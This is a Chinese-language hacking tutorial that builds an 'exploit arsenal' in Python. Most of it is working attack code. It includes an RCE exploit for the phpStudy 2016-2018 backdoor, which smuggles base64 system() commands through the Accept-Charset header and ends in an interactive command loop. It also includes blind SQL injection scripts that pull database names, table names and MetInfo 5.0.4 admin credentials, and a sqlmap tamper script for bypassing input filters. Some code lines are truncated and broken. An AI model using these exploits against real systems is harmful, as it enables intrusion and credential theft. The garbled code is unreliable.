Python灰帽编程——定制EXP武器库

文章目录

  • 定制EXP之RCE
    • 1. 常见模块介绍
      • 1.1 base64
        • 1.1.1 base64 编码
        • 1.1.2 base64 解码
      • 1.2 string
    • 2. 常规 EXP 编写
      • 2.1 phpstudy_2016-2018_rce
        • 2.1.1 漏洞利用脚本
        • 2.1.2 进阶脚本
      • 2.2 SQL 注入 EXP
        • 2.2.1 布尔盲注
        • 2.2.2 延时注入
      • 2.3 metinfo_5.0.4 EXP编写
        • 2.3.1 SQL注入漏洞
    • 3. 定制SQLmap
      • 3.1 tamper脚本
      • 3.2 sqli-labs/less-26
      • 3.3 tamper脚本编写

定制EXP之RCE

四个常见概念:

  • POC:(Proof of Concept)概念验证,常指一段漏洞证明的代码。 作用:用来证明漏洞存在的(无害的)
  • EXP:(Exploit)利用,指利用系统漏洞进行攻击的动作。 作用:用来利用漏洞的(有害的)
  • Payload:(攻击载荷,指成功exploit之后,真正在目标系统执行的代码或指令。
  • Shellcode:利用漏洞时所执行的代码。Payload的一种,由于其建立正向/反向shell而得名。
名词 解释
POC (Proof of Concept) 漏洞验证代码,验证漏洞的存在性。
EXP (Exploit) 渗透、攻击
完整的漏洞利用工具
RCE (Remote Code|Command Execute) 漏洞的类型
在远程目标上执行代码或命令

手工验证漏洞的问题:

  • 效率
  • 准确性

针对RCE 漏洞开发EXP,常见的RCE 漏洞:

  • phpstudy_2016-2018_rce
  • seacms_6.26-6.28_rce
  • sangfor_edr_3.2.19_rce

考虑将写好的EXP 集成到pocsuite3框架中。

1. 常见模块介绍

1.1 base64

base64 模块就是用来进行base64 编解码操作的模块。

1.1.1 base64 编码

直接利用模块中函数即可,注意使用二进制形式进行编码

>>> import base64
>>> s = '''system("whoami");'''
>>> base64.b64encode(s.encode())
b'c3lzdGVtKCJ3aG9hbWkiKTs='
>>> base64.b64encode(s.encode()).decode()
'c3lzdGVtKCJ3aG9hbWkiKTs='
>>>
1.1.2 base64 解码

直接使用函数即可。

>>> import base64
>>> s = "c3lzdGVtKCJ3aG9hbWkiKTs="
>>> base64.b64decode(s)
b'system("whoami");'
>>> base64.b64decode(s).decode()
'system("whoami");'
>>>

1.2 string

字符集合模块。

>>> import string
>>> string.
string.Formatter(       string.ascii_uppercase  string.octdigits
string.Template(        string.capwords(        string.printable
string.ascii_letters    string.digits           string.punctuation
string.ascii_lowercase  string.hexdigits        string.whitespace
>>> string.printable
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'
>>> string.printable.strip()
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
>>>

2. 常规 EXP 编写

2.1 phpstudy_2016-2018_rce

argparse简介。

2.1.1 漏洞利用脚本
# phpstudy_2016-2018_rce

"""
GET /phpinfo.php HTTP/1.1
Host: 10.4.7.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept-Encoding: gzip,deflate
Accept-Charset: 

"""

import requests
import base64

url = "http://10.4.7.130/phpinfo.php"

cmd = "net user"

cmd = f'''system("{cmd}");'''

cmd = base64.b64encode(cmd.encode()).decode()

headers = {
    "User-Agent"        : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36",
    "Accept-Encoding"   : "gzip,deflate",
    "Accept-Charset"    : f"{cmd}"
}

res = requests.get(url = url, headers = headers)

html = res.content.decode("GBK")

offset = html.find(")

result = html[0:offset]

print(result)

说明:gzip,deflate逗号后面不加空格。

2.1.2 进阶脚本
  • 漏洞存在性测试:无损;
  • 循环执行命令。
import requests
import base64
import argparse
import string
import random
from pyfiglet import Figlet
from termcolor import colored

# banner信息
f = Figlet(font='slant')
print('**' * 25)
print('--' * 25) 
banner = f.renderText('backdoor')
print(banner)
print('--' * 25)
print('**' * 25)

# 创建选项指定对象
# ArgumentParser用于处理命令行参数的定义和解析。
parser = argparse.ArgumentParser()

# 设定选项
parser.add_argument('-u','--url',help = '指定检测的目标',dest="url")
parser.add_argument('-c','--cmd',help = '指定执行的命令',dest="cmd")

# 解析选项对象
# 调用parse_args()方法解析传递给脚本的命令行参数。
args = parser.parse_args()

if not args.url:
    print("[+] Usage: Python *.py -u http://192.168.188.187/phpinfo.php -c whoami")
    exit()

# 通过args对象的属性来访问各个参数的值。
url = args.url
cmd = args.cmd

print(f"[+] Target: {url}")
print(f"[+] Target: {cmd}")

# 漏洞检测
def attack(cmd):
    cmd = f"system('{cmd}');"

    # 因为b64encode在加密的时候需要二进制数据,所以cmd.encode()
    # 但是在headers中需要的是字符串,再将其进行解密decode()
    cmd = base64.b64encode(cmd.encode()).decode()

    headers= {
        "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36",
        "Accept-Encoding" : "gzip,deflate",
        "Accept-Charset" : cmd
    }

    res = requests.get(url = url , headers = headers)

    html = res.content.decode("gbk")   
    result = html[:html.rfind(")]
    return result 

# 无损检测(输出随机字符串)
def verify():
    random_str = ""
    for i in range(10):
        # random.choice从字符串中随机选择一个字符
        # string.ascii_letters是string模块中的一个常量,它包含大小写字母 A-Z 和 a-z 的字符串。
        random_str += random.choice(string.ascii_letters)

    cmd = f"echo {random_str}"

    # 判断字符串是否打印成功
    if random_str in attack(cmd):
        print(colored(f"[+] Target {url} is VULNERABLE!","green"))
    else:
        print(colored(f"[+] Target {url} is NOT VULNERABLE!","red"))
        exit()    

verify()

flag = input(f"Could you want to continue?[Y/n]")
if flag == "n":
    exit()

while True:
    cmd = input("<➡️> ")
    if cmd == 'exit':
        break
        
    print(attack(cmd))

Python灰帽编程——定制EXP武器库_第1张图片

Python灰帽编程——定制EXP武器库_第2张图片

2.2 SQL 注入 EXP

2.2.1 布尔盲注

以sqli-labs/Less-8为例

字符型注入,但是没有回显、没有报错,考虑布尔盲注

Python灰帽编程——定制EXP武器库_第3张图片

测试数据库位数

Python灰帽编程——定制EXP武器库_第4张图片

测试数据名称每一位的字符

Python灰帽编程——定制EXP武器库_第5张图片

脚本编写

import requests
import string

url = "http://192.168.188.187/sqli-labs/Less-8/"

con_len = 0
con = ""
i = 0

def get_true(url,payload):
    full_url = url + payload
    res = requests.get(url = full_url)
    # print(full_url)
    if "You are in..........." in res.text:
        return(True)
    else:
        return(False)

# 测试数据库长度
while True:
    i += 1
    payload= f"?id=1' and length(database())={i} -- "

    if get_true(url,payload):
        # 数据库长度
        con_len = i
        print(f"[*] The length is {con_len}")
        break

print("======================================================")

# 定义所猜测数据库名的字符(可打印字符)
c_set = string.printable.strip()

# 按位测试数据库名称
for i in range(con_len):
    for c in c_set:
        # ord(c) 是 Python 的内置函数之一,用于返回一个字符的 Unicode 码位(code point)。
        payload= f"?id=1' and ascii(substr(database(),{i + 1},1))={ord(c)} -- "

        # 调用函数发送数据包
        if get_true(url,payload):
            # 将检测得到的数据库每一位字符做拼接
            con += c
            print(f"[*] The content {con}")

print("======================================================")

j = 0
# 测试数据库中表名的长度
while True:
    j += 1
    payload= f"?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={j} -- "

    if get_true(url,payload):
        # 数据库长度
        con_len = j
        print(f"[*] The table length is {con_len}")
        break

print("======================================================")

table_name = ""
# 按位测试数据库中的表
for i in range(con_len):
    for c in c_set:
        payload= f"?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i + 1},1))={ord(c)} --+"

        if get_true(url,payload):
            # 将检测得到的数据库每一位字符做拼接
            table_name += c
            print(f"[*] The table name {table_name}")

运行结果:

Python灰帽编程——定制EXP武器库_第6张图片

2.2.2 延时注入

Python灰帽编程——定制EXP武器库_第7张图片

脚本编写

import requests
import string

url = "http://192.168.188.187/sqli-labs/Less-9/"

con_len = 0
con = ""
i = 0

def get_timeout(url,payload):
    full_url = url + payload
    # print(full_url)
    try:
        res = requests.get(url = full_url, timeout = 3)
    except:
        return "timeout"
    else:
        return res.text

# 获取数据库长度
while True:
    i += 1
    payload = f"?id=1' and if(length(database())={i},sleep(5),1) -- "

    if "timeout" in get_timeout(url,payload):
        # 数据库长度
        con_len = i
        print(f"[*] The length is {con_len}")
        break

print("======================================================")

# 定义所猜测数据库名的字符(可打印字符)
c_set = string.printable.strip()

# 获取数据库名称
for i in range(con_len):
    for c in c_set:
        payload= f"?id=1' and if(ascii(substr(database(),{i + 1},1))={ord(c)},sleep(5),1) -- "

        if "timeout" in get_timeout(url,payload):
            # 数据库长度
            con += c 
            print(f"[*] The content {con}")

print("======================================================")

# 获取数据库表的长度
j = 0
while True:
    j+=1
    payload = f"?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={j},sleep(5),1) -- "

    if "timeout" in get_timeout(url,payload):
        # 数据库长度
        con_len = j
        print(f"[*] The table length is {con_len}")
        break

print("======================================================")

table_name = ""
# 按位测试数据库中的表
for z in range(con_len):
    for c in c_set:
        payload = f"?id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{z+1},1)='{c}',sleep(5),1) -- "

        if "timeout" in get_timeout(url,payload):
            # 数据库名称
            table_name += c 
            print(f"[*] The table name {table_name}")
            break

Python灰帽编程——定制EXP武器库_第8张图片

2.3 metinfo_5.0.4 EXP编写

2.3.1 SQL注入漏洞

漏洞验证

页面正常

Python灰帽编程——定制EXP武器库_第9张图片

页面不正常说明存在SQL注入。

Python灰帽编程——定制EXP武器库_第10张图片

编写SQL脚本

import requests
import string

url = "http://192.168.188.187/metInfo_5.0.4/about/show.php?lang=cn&id=22"

con_len = 0
con = ""
i = 0

def get_true(url,payload):
    full_url = url + payload
    # print(full_url)
    res = requests.get(url = full_url)
    if "../404.html" not in res.text:
        return(True)
    else:
        return(False)

# 测试数据库长度
while True:
    i += 1
    payload= f" and length(database())={i}"

    if get_true(url,payload):
        # 数据库长度
        con_len = i
        print(f"[*] The length is {con_len}")
        break

# 定义所猜测数据库名的字符(可打印字符)
c_set = string.printable.strip()

# 按位测试数据库名称
for i in range(con_len):
    for c in c_set:
        # ord(c) 是 Python 的内置函数之一,用于返回一个字符的 Unicode 码位(code point)。
        payload= f" and ascii(substr(database(),{i + 1},1))={ord(c)}"

        if get_true(url,payload):
            # 将检测得到的数据库每一位字符做拼接
            con += c
            print(f"\r[*] The content {con}", end=' ')

print("\n======================================================")

j = 0
# 测试数据库中表名的长度
while True:
    j += 1
    payload= f" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))={j}"

    if get_true(url,payload):
        # 数据库长度
        con_len = j
        print(f"\r[*] The table length is {con_len}", end=' ')
        break

print("\n======================================================")

table = ""
# 按位测试数据库中的表
for i in range(con_len):
    for c in c_set:
        payload= f" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i + 1},1))={ord(c)}"

        if get_true(url,payload):
            # 将检测得到的数据库每一位字符做拼接
            table += c
            print(f"\r[*] The table_name {table}", end=' ')

print("\n======================================================")

# 查找数据库中的字段的长度
while True:
    j += 1
    payload= f" and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name =0x6d65745f61646d696e5f7461626c65))={j}"

    if get_true(url,payload):
        # 数据库长度
        con_len = j
        print(f"\r[*] The table length is {con_len}", end=' ')
        break
print("\n======================================================")

# 获取数据库中的字段的名字
for i in range(con_len):
    for c in c_set:
        payload= f" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and  table_schema=database()),{i + 1},1))={ord(c)}"

        if get_true(url,payload):
            # 将检测得到的数据库每一位字符做拼接
            table += c
            print(f"\r[*] The table_name {table}", end=' ')

print("\n======================================================")

# 获取用户名密码长度
while True:
    j += 1
    payload= f" and length((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1))={j}"

    if get_true(url,payload):
        # 数据库长度
        con_len = j
        print(f"\r[*] The length is {con_len}", end=' ')
        break
print("\n======================================================")

# 获取用户名密码
for i in range(con_len):
    for c in c_set:
        payload= f" and ascii(substr((select concat(admin_id,0x3a,admin_pass) from met_admin_table limit 0,1),{i + 1},1))={ord(c)}"

        if get_true(url,payload):
            # 将检测得到的数据库每一位字符做拼接
            table += c
            print(f"\r[*] The table_name {table}", end=' ')

3. 定制SQLmap

3.1 tamper脚本

SQLmap是一款SQL注入神器,可以通过tamper对注入payload进行编码和变形,已达到绕过某些限制的目的。但是有些时候,SQLmap自带的Tamper脚本有时候并不是特别好用,需要根据实际情况定制Tamper脚本。

sqlmap,Tamper详解及使用指南 – WebShell’S Blog。

3.2 sqli-labs/less-26

关卡分析

Python灰帽编程——定制EXP武器库_第11张图片

image-20230922135459940

发现我们提交的结果中是有空格的,但是页面中的显示是没有空格的,说明空格被过滤了。并且and也被过滤了。

使用%a0替换空格和双写and来进行绕过。

Python灰帽编程——定制EXP武器库_第12张图片

总结

被过滤字符如下:

字符 替代字符
–+ # and '1 and 1='1
and anANDd
or oORr
空格 %a0(linux 系统特性)

3.3 tamper脚本编写

sqlmap使用-v参数可以查看注入的payload

#这个要放到sql工具脚本中去使用
import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
                 %a0
    and                 anANDd
    --+                  and '1
    or                  oORr
    """
    payload = re.sub(r"(?i)-- "," and 'lili",payload)
    payload = re.sub(r"(?i)and","anANDd",payload)
    payload = re.sub(r"(?i)or","oORr",payload)
    payload = re.sub(r"(?i)\ ","%a0",payload)

    return payload

代码解析

  • re.sub() 是 Python 中 re 模块提供的一个函数,用于在字符串中执行正则表达式的替换操作。
  • (?i) 是一种正则表达式的标志,用于设置匹配模式为不区分大小写。通过使用 (?i) 标志,可以在查询中忽略字符的大小写差异。

执行结果

在–tamper后面跟上我们编写的脚本名称

python .\sqlmap.py -u "http://192.16
8.188.187/sqli-labs/Less-26/?id=1" -v3 --tamper sqli-labs_26

Python灰帽编程——定制EXP武器库_第13张图片

Python灰帽编程——定制EXP武器库_第14张图片

尝试爆破库名

python .\sqlmap.py -u "http://192.16
8.188.187/sqli-labs/Less-26/?id=1" -v3 --tamper sqli-labs_26 -dbs

Python灰帽编程——定制EXP武器库_第15张图片

你可能感兴趣的:(python,开发语言,网络安全,系统安全,EXP,脚本编写,RCE)